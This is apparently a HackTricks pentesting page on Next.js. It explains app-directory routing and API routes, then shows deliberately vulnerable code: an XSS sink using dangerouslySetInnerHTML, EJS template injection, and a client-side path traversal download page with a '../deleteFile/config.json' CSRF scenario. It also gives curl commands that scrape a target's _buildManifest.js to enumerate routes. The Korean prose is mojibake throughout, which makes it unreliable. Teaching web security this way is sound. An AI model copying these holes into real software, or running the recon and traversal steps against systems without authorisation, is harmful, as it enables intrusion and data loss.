NextJS
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Next.js ์ ํ๋ฆฌ์ผ์ด์ ์ ์ผ๋ฐ์ ์ธ ์ํคํ ์ฒ
์ ํ์ ์ธ ํ์ผ ๊ตฌ์กฐ
ํ์ค Next.js ํ๋ก์ ํธ๋ ๋ผ์ฐํ , API ์๋ํฌ์ธํธ, ์ ์ ์์ฐ ๊ด๋ฆฌ์ ๊ฐ์ ๊ธฐ๋ฅ์ ์ง์ํ๊ธฐ ์ํด ํน์ ํ์ผ ๋ฐ ๋๋ ํฐ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ฐ๋ฆ ๋๋ค. ๋ค์์ ์ ํ์ ์ธ ๋ ์ด์์์ ๋๋ค:
my-nextjs-app/
โโโ node_modules/
โโโ public/
โ โโโ images/
โ โ โโโ logo.png
โ โโโ favicon.ico
โโโ app/
โ โโโ api/
โ โ โโโ hello/
โ โ โโโ route.ts
โ โโโ layout.tsx
โ โโโ page.tsx
โ โโโ about/
โ โ โโโ page.tsx
โ โโโ dashboard/
โ โ โโโ layout.tsx
โ โ โโโ page.tsx
โ โโโ components/
โ โ โโโ Header.tsx
โ โ โโโ Footer.tsx
โ โโโ styles/
โ โ โโโ globals.css
โ โ โโโ Home.module.css
โ โโโ utils/
โ โโโ api.ts
โโโ .env.local
โโโ next.config.js
โโโ tsconfig.json
โโโ package.json
โโโ README.md
โโโ yarn.lock / package-lock.json
ํต์ฌ ๋๋ ํ ๋ฆฌ ๋ฐ ํ์ผ
- public/: ์ด๋ฏธ์ง, ํฐํธ ๋ฑ ์ ์ ์์ฐ์ ํธ์คํ
ํฉ๋๋ค. ์ด ํด๋์ ํ์ผ๋ค์ ๋ฃจํธ ๊ฒฝ๋ก(
/)์์ ์ ๊ทผ ๊ฐ๋ฅํฉ๋๋ค. - app/: ์ ํ๋ฆฌ์ผ์ด์ ์ ํ์ด์ง, ๋ ์ด์์, components, API ๋ผ์ฐํธ๋ฅผ ๋ด๋ ์ค์ ๋๋ ํ ๋ฆฌ์ ๋๋ค. App Router ํจ๋ฌ๋ค์์ ์ฑํํ์ฌ ๊ณ ๊ธ ๋ผ์ฐํ ๊ธฐ๋ฅ๊ณผ server-client component ๋ถ๋ฆฌ๋ฅผ ์ง์ํฉ๋๋ค.
- app/layout.tsx: ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ฃจํธ ๋ ์ด์์์ ์ ์ํ๋ฉฐ, ๋ชจ๋ ํ์ด์ง๋ฅผ ๊ฐ์ธ์ ํค๋, ํธํฐ, ๋ด๋น๊ฒ์ด์ ๋ฐ ๊ฐ์ ์ผ๊ด๋ UI ์์๋ฅผ ์ ๊ณตํฉ๋๋ค.
- app/page.tsx: ๋ฃจํธ ๋ผ์ฐํธ(
/)์ ์ง์ ์ ์ญํ ์ ํ๋ฉฐ ํ ํ์ด์ง๋ฅผ ๋ ๋๋งํฉ๋๋ค. - app/[route]/page.tsx: ์ ์ ๋ฐ ๋์ ๋ผ์ฐํธ๋ฅผ ์ฒ๋ฆฌํฉ๋๋ค.
app/๋ด์ ๊ฐ ํด๋๋ ๋ผ์ฐํธ ์ธ๊ทธ๋จผํธ๋ฅผ ๋ํ๋ด๋ฉฐ, ํด๋น ํด๋์page.tsx๊ฐ ๊ทธ ๋ผ์ฐํธ์ ์ปดํฌ๋ํธ์ ํด๋นํฉ๋๋ค. - app/api/: API ๋ผ์ฐํธ๋ฅผ ํฌํจํ๋ฉฐ HTTP ์์ฒญ์ ์ฒ๋ฆฌํ๋ ์๋ฒ๋ฆฌ์ค ํจ์๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ์ด ๋๋ ํ ๋ฆฌ๋ ๊ธฐ์กด์
pages/api๋๋ ํ ๋ฆฌ๋ฅผ ๋์ฒดํฉ๋๋ค. - app/components/: ์ฌ๋ฌ ํ์ด์ง์ ๋ ์ด์์์์ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ React ์ปดํฌ๋ํธ๋ฅผ ๋ณด๊ดํฉ๋๋ค.
- app/styles/: ์ ์ญ CSS ํ์ผ๊ณผ ์ปดํฌ๋ํธ ๋ฒ์ ์คํ์ผ์ ์ํ CSS Modules๋ฅผ ํฌํจํฉ๋๋ค.
- app/utils/: ์ ํธ๋ฆฌํฐ ํจ์, ํฌํผ ๋ชจ๋ ๋ฐ UI๊ฐ ์๋ ๋ก์ง์ ๊ณต์ ํ๊ธฐ ์ํ ํ์ผ๋ค์ ํฌํจํฉ๋๋ค.
- .env.local: ๋ก์ปฌ ๊ฐ๋ฐ ํ๊ฒฝ์ ํนํ๋ ํ๊ฒฝ ๋ณ์๋ฅผ ์ ์ฅํฉ๋๋ค. ์ด ๋ณ์๋ค์ ๋ฒ์ ๊ด๋ฆฌ์ ์ปค๋ฐ๋์ง ์์ต๋๋ค.
- next.config.js: webpack ์ค์ , ํ๊ฒฝ ๋ณ์, ๋ณด์ ์ค์ ๋ฑ Next.js ๋์์ ์ปค์คํฐ๋ง์ด์ฆํฉ๋๋ค.
- tsconfig.json: ํ๋ก์ ํธ์ TypeScript ์ค์ ์ ๊ตฌ์ฑํ์ฌ ํ์ ๊ฒ์ฌ ๋ฐ ๊ธฐํ TypeScript ๊ธฐ๋ฅ์ ํ์ฑํํฉ๋๋ค.
- package.json: ํ๋ก์ ํธ์ ์์กด์ฑ, ์คํฌ๋ฆฝํธ, ๋ฉํ๋ฐ์ดํฐ๋ฅผ ๊ด๋ฆฌํฉ๋๋ค.
- README.md: ํ๋ก์ ํธ์ ์ค์ ๋ฐฉ๋ฒ, ์ฌ์ฉ ์ง์นจ ๋ฑ ๋ฌธ์์ ์ ๋ณด๋ฅผ ์ ๊ณตํฉ๋๋ค.
- yarn.lock / package-lock.json: ํ๋ก์ ํธ ์์กด์ฑ์ ํน์ ๋ฒ์ ์ผ๋ก ๊ณ ์ ํ์ฌ ๋ค์ํ ํ๊ฒฝ์์ ์ผ๊ด๋ ์ค์น๋ฅผ ๋ณด์ฅํฉ๋๋ค.
Client-Side in Next.js
File-Based Routing in the app Directory
app ๋๋ ํ ๋ฆฌ๋ ์ต์ Next.js ๋ฒ์ ์์ ๋ผ์ฐํ
์ ํต์ฌ์
๋๋ค. ํ์ผ ์์คํ
์ ์ด์ฉํด ๋ผ์ฐํธ๋ฅผ ์ ์ํ๋ฏ๋ก ๋ผ์ฐํธ ๊ด๋ฆฌ๋ฅผ ์ง๊ด์ ์ด๊ณ ํ์ฅ ๊ฐ๋ฅํ๊ฒ ๋ง๋ญ๋๋ค.
๋ฃจํธ ๊ฒฝ๋ก / ์ฒ๋ฆฌ
File Structure:
my-nextjs-app/
โโโ app/
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
Key Files:
app/page.tsx: ๋ฃจํธ ๊ฒฝ๋ก/์ ๋ํ ์์ฒญ์ ์ฒ๋ฆฌํฉ๋๋ค.app/layout.tsx: ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ ์ด์์์ ์ ์ํ๋ฉฐ ๋ชจ๋ ํ์ด์ง๋ฅผ ๊ฐ์๋๋ค.
Implementation:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
์ค๋ช :
- ๋ผ์ฐํธ ์ ์:
page.tsxํ์ผ์app๋๋ ํฐ๋ฆฌ ๋ฐ๋ก ์๋์ ์์ผ๋ฉฐ/๋ผ์ฐํธ์ ํด๋นํฉ๋๋ค. - ๋ ๋๋ง: ์ด ์ปดํฌ๋ํธ๋ ํ ํ์ด์ง์ ์ฝํ ์ธ ๋ฅผ ๋ ๋๋งํฉ๋๋ค.
- ๋ ์ด์์ ํตํฉ:
HomePage์ปดํฌ๋ํธ๋layout.tsx์ ์ํด ๋ํ๋๋ฉฐ, ํค๋, ํธํฐ ๋ฐ ๊ธฐํ ๊ณตํต ์์๋ฅผ ํฌํจํ ์ ์์ต๋๋ค.
๋ค๋ฅธ ์ ์ ๊ฒฝ๋ก ์ฒ๋ฆฌ
์: /about ๋ผ์ฐํธ
ํ์ผ ๊ตฌ์กฐ:
arduinoCopy codemy-nextjs-app/
โโโ app/
โ โโโ about/
โ โ โโโ page.tsx
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
๊ตฌํ:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
์ค๋ช :
- ๋ผ์ฐํธ ์ ์:
page.tsxํ์ผ์aboutํด๋ ๋ด๋ถ์ ์์ผ๋ฉฐ/about๋ผ์ฐํธ์ ๋์ํฉ๋๋ค. - ๋ ๋๋ง: ์ด ์ปดํฌ๋ํธ๋ about ํ์ด์ง์ ์ฝํ ์ธ ๋ฅผ ๋ ๋๋งํฉ๋๋ค.
๋์ ๋ผ์ฐํธ
๋์ ๋ผ์ฐํธ๋ ๊ฐ๋ณ ์ธ๊ทธ๋จผํธ๋ฅผ ํฌํจํ๋ ๊ฒฝ๋ก๋ฅผ ์ฒ๋ฆฌํ ์ ์๊ฒ ํด, ID๋ slug ๊ฐ์ ๋งค๊ฐ๋ณ์์ ๋ฐ๋ผ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ฝํ ์ธ ๋ฅผ ํ์ํ๋๋ก ํฉ๋๋ค.
์์: /posts/[id] ๋ผ์ฐํธ
ํ์ผ ๊ตฌ์กฐ:
arduinoCopy codemy-nextjs-app/
โโโ app/
โ โโโ posts/
โ โ โโโ [id]/
โ โ โโโ page.tsx
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
๊ตฌํ:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
์ค๋ช :
- ๋์ ์ธ๊ทธ๋จผํธ:
[id]๋ ๋ผ์ฐํธ์์ ๋์ ์ธ๊ทธ๋จผํธ๋ฅผ ๋ํ๋ด๋ฉฐ, URL์์idํ๋ผ๋ฏธํฐ๋ฅผ ์บก์ฒํฉ๋๋ค. - ํ๋ผ๋ฏธํฐ ์ ๊ทผ:
params๊ฐ์ฒด๋ ๋์ ํ๋ผ๋ฏธํฐ๋ฅผ ํฌํจํ๋ฉฐ, ์ปดํฌ๋ํธ ๋ด์์ ์ ๊ทผํ ์ ์์ต๋๋ค. - ๋ผ์ฐํธ ๋งค์นญ:
/posts/*์ ๋งค์นญ๋๋ ๋ชจ๋ ๊ฒฝ๋ก(์:/posts/1,/posts/abc๋ฑ)๋ ์ด ์ปดํฌ๋ํธ์ ์ํด ์ฒ๋ฆฌ๋ฉ๋๋ค.
์ค์ฒฉ ๋ผ์ฐํธ
Next.js๋ ๋๋ ํฐ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ฐ์ํ๋ ๊ณ์ธต์ ๋ผ์ฐํธ ๊ตฌ์กฐ๋ฅผ ํ์ฉํ๋ ์ค์ฒฉ ๋ผ์ฐํ ์ ์ง์ํฉ๋๋ค.
์์: /dashboard/settings/profile Route
ํ์ผ ๊ตฌ์กฐ:
arduinoCopy codemy-nextjs-app/
โโโ app/
โ โโโ dashboard/
โ โ โโโ settings/
โ โ โ โโโ profile/
โ โ โ โโโ page.tsx
โ โ โโโ page.tsx
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
๊ตฌํ:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
์ค๋ช :
- ๊น์ ์ค์ฒฉ:
dashboard/settings/profile/๋ด๋ถ์page.tsxํ์ผ์/dashboard/settings/profile๊ฒฝ๋ก์ ๋์ํฉ๋๋ค. - ๊ณ์ธต ๊ตฌ์กฐ ๋ฐ์: ๋๋ ํฐ๋ฆฌ ๊ตฌ์กฐ๋ URL ๊ฒฝ๋ก๋ฅผ ๋ฐ์ํ์ฌ ์ ์ง๋ณด์์ฑ๊ณผ ๋ช ํ์ฑ์ ํฅ์์ํต๋๋ค.
Catch-All ๋ผ์ฐํธ
Catch-All ๋ผ์ฐํธ๋ ์ฌ๋ฌ ์ค์ฒฉ ์ธ๊ทธ๋จผํธ๋ ์๋ ค์ง์ง ์์ ๊ฒฝ๋ก๋ฅผ ์ฒ๋ฆฌํ์ฌ ๋ผ์ฐํธ ์ฒ๋ฆฌ์ ์ ์ฐ์ฑ์ ์ ๊ณตํฉ๋๋ค.
์์: /* ๋ผ์ฐํธ
ํ์ผ ๊ตฌ์กฐ:
my-nextjs-app/
โโโ app/
โ โโโ [...slug]/
โ โ โโโ page.tsx
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
๊ตฌํ:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
์ค๋ช :
- Catch-All Segment:
[...slug]๋ ๋๋จธ์ง ๋ชจ๋ ๊ฒฝ๋ก ์ธ๊ทธ๋จผํธ๋ฅผ ๋ฐฐ์ด๋ก ์บก์ฒํฉ๋๋ค. - Usage: ๋์ ๋ผ์ฐํ ์๋๋ฆฌ์ค(์: ์ฌ์ฉ์ ์์ฑ ๊ฒฝ๋ก, ์ค์ฒฉ ์นดํ ๊ณ ๋ฆฌ ๋ฑ)๋ฅผ ์ฒ๋ฆฌํ ๋ ์ ์ฉํฉ๋๋ค.
- Route Matching:
/anything/here,/foo/bar/baz๊ฐ์ ๊ฒฝ๋ก๋ค์ด ์ด ์ปดํฌ๋ํธ์ ์ํด ์ฒ๋ฆฌ๋ฉ๋๋ค.
์ ์ฌ์ ์ธ ํด๋ผ์ด์ธํธ ์ธก ์ทจ์ฝ์
Next.js๊ฐ ์์ ํ ๊ธฐ๋ฐ์ ์ ๊ณตํ์ง๋ง, ๋ถ์ ์ ํ ์ฝ๋ฉ ๊ดํ์ ์ทจ์ฝ์ ์ ์ด๋ํ ์ ์์ต๋๋ค. ์ฃผ์ ํด๋ผ์ด์ธํธ ์ธก ์ทจ์ฝ์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
Cross-Site Scripting (XSS)
XSS ๊ณต๊ฒฉ์ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์ ๋ขฐ๋ ์น์ฌ์ดํธ์ ์ฃผ์ ๋ ๋ ๋ฐ์ํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํด ๋ฐ์ดํฐ๋ฅผ ํ์ทจํ๊ฑฐ๋ ์ฌ์ฉ์๋ฅผ ๋์ ํด ์์ ์ ์ํํ ์ ์์ต๋๋ค.
์ทจ์ฝํ ์ฝ๋ ์์:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
์ทจ์ฝํ ์ด์ : dangerouslySetInnerHTML์ ์ ๋ขฐํ ์ ์๋ ์
๋ ฅ๊ณผ ํจ๊ป ์ฌ์ฉํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฃผ์
ํ ์ ์์ต๋๋ค.
Client-Side Template Injection
์ฌ์ฉ์ ์ ๋ ฅ์ด ํ ํ๋ฆฟ์์ ์ ์ ํ ์ฒ๋ฆฌ๋์ง ์์ ๋ ๋ฐ์ํ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ํ ํ๋ฆฟ์ด๋ ํํ์์ ์ฃผ์ ํ๊ณ ์คํํ ์ ์๊ฒ ํฉ๋๋ค.
์ทจ์ฝํ ์ฝ๋ ์์:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
์ทจ์ฝํ ์ด์ : template ๋๋ data์ ์
์์ ์ธ ๋ด์ฉ์ด ํฌํจ๋ ๊ฒฝ์ฐ ์๋์น ์์ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
Client Path Traversal
์ด๋ ๊ณต๊ฒฉ์๊ฐ ํด๋ผ์ด์ธํธ ์ธก ๊ฒฝ๋ก๋ฅผ ์กฐ์ํด ์๋ํ์ง ์์ ๋์์ ์ํํ๋๋ก ํ์ฉํ๋ ์ทจ์ฝ์ ์ด๋ฉฐ, ์๋ก๋ Cross-Site Request Forgery (CSRF)๊ฐ ์์ต๋๋ค. ์๋ฒ์ ํ์ผ์์คํ ์ ๊ฒจ๋ฅํ๋ server-side path traversal๊ณผ ๋ฌ๋ฆฌ, CSPT๋ ํด๋ผ์ด์ธํธ ์ธก ๋ฉ์ปค๋์ฆ์ ์ ์ฉํด ํฉ๋ฒ์ ์ธ API ์์ฒญ์ ์ ์์ ์๋ํฌ์ธํธ๋ก ์ฌ์ฐํํ๋ ๋ฐ ์ด์ ์ ๋ง์ถฅ๋๋ค.
์ทจ์ฝํ ์ฝ๋ ์์:
Next.js ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ฌ์ฉ์์๊ฒ ํ์ผ ์ ๋ก๋ ๋ฐ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ํด๋ผ์ด์ธํธ ์ธก์ ๊ตฌํ๋์ด ์์ผ๋ฉฐ, ์ฌ์ฉ์๊ฐ ๋ค์ด๋ก๋ํ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
๊ณต๊ฒฉ ์๋๋ฆฌ์ค
- ๊ณต๊ฒฉ์์ ๋ชฉํ: CSRF ๊ณต๊ฒฉ์ ์ํํ์ฌ
filePath๋ฅผ ์กฐ์ํด ์ค์ํ ํ์ผ(์:admin/config.json)์ ์ญ์ . - CSPT ์ ์ฉ:
- ์
์์ ์
๋ ฅ: ๊ณต๊ฒฉ์๋
../deleteFile/config.json๊ฐ์ ์กฐ์๋filePath๋ฅผ ํฌํจํ URL์ ๋ง๋ ๋ค. - ๊ฒฐ๊ณผ API ํธ์ถ: ํด๋ผ์ด์ธํธ ์ธก ์ฝ๋๊ฐ
/api/files/../deleteFile/config.json๋ก ์์ฒญ์ ๋ณด๋ธ๋ค. - ์๋ฒ ์ฒ๋ฆฌ: ์๋ฒ๊ฐ
filePath๋ฅผ ๊ฒ์ฆํ์ง ์์ผ๋ฉด ์์ฒญ์ ์ฒ๋ฆฌํ์ฌ ๋ฏผ๊ฐํ ํ์ผ์ ์ญ์ ํ๊ฑฐ๋ ๋ ธ์ถํ ์ ์๋ค.
- CSRF ์คํ:
- ์กฐ์๋ ๋งํฌ: ๊ณต๊ฒฉ์๋ ํผํด์์๊ฒ ๋งํฌ๋ฅผ ์ ์กํ๊ฑฐ๋ ์กฐ์๋
filePath๋ก ๋ค์ด๋ก๋ ์์ฒญ์ ํธ๋ฆฌ๊ฑฐํ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ๋ค. - ๊ฒฐ๊ณผ: ํผํด์๊ฐ ๋ฌด์์์ ์ผ๋ก ๋์์ ์คํํด ๋น์ธ๊ฐ ํ์ผ ์ ๊ทผ ๋๋ ์ญ์ ๋ก ์ด์ด์ง.
Recon: _buildManifest๋ฅผ ํตํ static export ๊ฒฝ๋ก ํ์
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and routeโchunk mapping there enumerate every prerendered page without brute force.
- ๋ฃจํธ ์๋ต(์ข
์ข
ํ๋จ์ ํ์๋จ) ๋๋
<script>ํ๊ทธ์์ ๋ก๋๋๋/_next/static/<buildId>/...๋ก๋ถํฐ buildId๋ฅผ ๊ฐ์ ธ์จ๋ค. - manifest๋ฅผ ๊ฐ์ ธ์ ๊ฒฝ๋ก๋ฅผ ์ถ์ถํ๋ค:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- ๋ฐ๊ฒฌ๋ ๊ฒฝ๋ก(์:
/docs,/docs/content/examples,/signin)๋ฅผ ์ฌ์ฉํ์ฌ auth testing ๋ฐ endpoint discovery๋ฅผ ์งํํ์ธ์.
Next.js์์์ ์๋ฒ ์ฌ์ด๋
์๋ฒ ์ฌ์ด๋ ๋ ๋๋ง (SSR)
ํ์ด์ง๋ ๊ฐ ์์ฒญ๋ง๋ค ์๋ฒ์์ ๋ ๋๋ง๋์ด ์ฌ์ฉ์๊ฐ ์์ ํ ๋ ๋๋ง๋ HTML์ ๋ฐ๋๋ก ๋ณด์ฅํฉ๋๋ค. ์ด ๊ฒฝ์ฐ ์์ฒญ์ ์ฒ๋ฆฌํ๊ธฐ ์ํด ์์ฒด ์ปค์คํ ์๋ฒ๋ฅผ ๋ง๋ค์ด์ผ ํฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
- ์์ฃผ ๋ณ๊ฒฝ๋๋ ๋์ ์ฝํ ์ธ .
- ๊ฒ์ ์์ง์ด ์์ ํ ๋ ๋๋ง๋ ํ์ด์ง๋ฅผ ํฌ๋กค๋งํ ์ ์์ผ๋ฏ๋ก SEO ์ต์ ํ์ ์ ๋ฆฌํฉ๋๋ค.
๊ตฌํ:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
์ ์ ์ฌ์ดํธ ์์ฑ (SSG)
ํ์ด์ง๋ ๋น๋ ์์ ์ ๋ฏธ๋ฆฌ ๋ ๋๋ง๋์ด ๋ก๋ ์๊ฐ์ด ๋นจ๋ผ์ง๊ณ ์๋ฒ ๋ถํ๊ฐ ๊ฐ์ํฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
- ์์ฃผ ๋ณ๊ฒฝ๋์ง ์๋ ์ฝํ ์ธ .
- ๋ธ๋ก๊ทธ, ๋ฌธ์, ๋ง์ผํ ํ์ด์ง.
๊ตฌํ:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
์๋ฒ๋ฆฌ์ค ํจ์ (API Routes)
Next.js๋ API ์๋ํฌ์ธํธ๋ฅผ ์๋ฒ๋ฆฌ์ค ํจ์๋ก ์์ฑํ ์ ์๊ฒ ํฉ๋๋ค. ์ด๋ฌํ ํจ์๋ค์ ์ ์ฉ ์๋ฒ๊ฐ ํ์ ์์ด ์จ๋๋งจ๋๋ก ์คํ๋ฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
- ํผ ์ ์ถ ์ฒ๋ฆฌ.
- ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ์ํธ์์ฉ.
- ๋ฐ์ดํฐ ์ฒ๋ฆฌ ๋๋ ์๋ํํฐ API ํตํฉ.
๊ตฌํ:
Next.js 13์ app ๋๋ ํ ๋ฆฌ ๋์
์ผ๋ก ๋ผ์ฐํ
๊ณผ API ์ฒ๋ฆฌ ๋ฐฉ์์ด ๋ ์ ์ฐํ๊ณ ๊ฐ๋ ฅํด์ก์ต๋๋ค. ์ด ์ต์ ์ ๊ทผ๋ฒ์ ํ์ผ ๊ธฐ๋ฐ ๋ผ์ฐํ
์์คํ
๊ณผ ๋ฐ์ ํ๊ฒ ์ฐ๊ณ๋๋ฉด์๋ ์๋ฒ ๋ฐ ํด๋ผ์ด์ธํธ ์ปดํฌ๋ํธ ์ง์์ ํฌํจํ ํฅ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค.
๊ธฐ๋ณธ ๋ผ์ฐํธ ํธ๋ค๋ฌ
ํ์ผ ๊ตฌ์กฐ:
my-nextjs-app/
โโโ app/
โ โโโ api/
โ โโโ hello/
โ โโโ route.js
โโโ package.json
โโโ ...
๊ตฌํ:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
์ค๋ช :
- ์์น: API routes๋
app/api/๋๋ ํฐ๋ฆฌ์ ๋ฐฐ์น๋ฉ๋๋ค. - ํ์ผ๋ช
๊ท์น: ๊ฐ API endpoint๋
route.js๋๋route.tsํ์ผ์ ํฌํจํ ๊ฐ๋ณ ํด๋์ ์์นํฉ๋๋ค. - ๋ด๋ณด๋ด๋ ํจ์: ํ๋์ default export ๋์ ํน์ HTTP ๋ฉ์๋ ํจ์(์:
GET,POST)๋ฅผ exportํฉ๋๋ค. - ์๋ต ์ฒ๋ฆฌ:
Response์์ฑ์๋ฅผ ์ฌ์ฉํด ์๋ต์ ๋ฐํํ๋ฉด ํค๋์ ์ํ ์ฝ๋๋ฅผ ๋ ์ธ๋ฐํ๊ฒ ์ ์ดํ ์ ์์ต๋๋ค.
๋ค๋ฅธ ๊ฒฝ๋ก์ ๋ฉ์๋ ์ฒ๋ฆฌ ๋ฐฉ๋ฒ:
ํน์ HTTP ๋ฉ์๋ ์ฒ๋ฆฌ
Next.js 13+์์๋ ๋์ผํ route.js ๋๋ route.ts ํ์ผ ๋ด์์ ํน์ HTTP ๋ฉ์๋์ ๋ํ ํธ๋ค๋ฌ๋ฅผ ์ ์ํ ์ ์์ด ์ฝ๋๊ฐ ๋ ๋ช
ํํ๊ณ ์ฒด๊ณ์ ์ด๊ฒ ๋ฉ๋๋ค.
์์:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
์ค๋ช :
- Multiple Exports: ๊ฐ HTTP ๋ฉ์๋ (
GET,PUT,DELETE)๋ ์์ฒด์ ์ผ๋ก export๋ ํจ์๋ฅผ ๊ฐ์ง๋๋ค. - Parameters: ๋ ๋ฒ์งธ ์ธ์๋
params๋ฅผ ํตํด ๋ผ์ฐํธ ๋งค๊ฐ๋ณ์์ ์ ๊ทผํ ์ ์์ต๋๋ค. - Enhanced Responses: ์๋ต ๊ฐ์ฒด์ ๋ํ ๋ ๋์ ์ ์ด๊ฐ ๊ฐ๋ฅํด์ ธ ํค๋ ๋ฐ ์ํ ์ฝ๋ ๊ด๋ฆฌ๋ฅผ ์ ํํ๊ฒ ํ ์ ์์ต๋๋ค.
Catch-All ๋ฐ ์ค์ฒฉ ๋ผ์ฐํธ
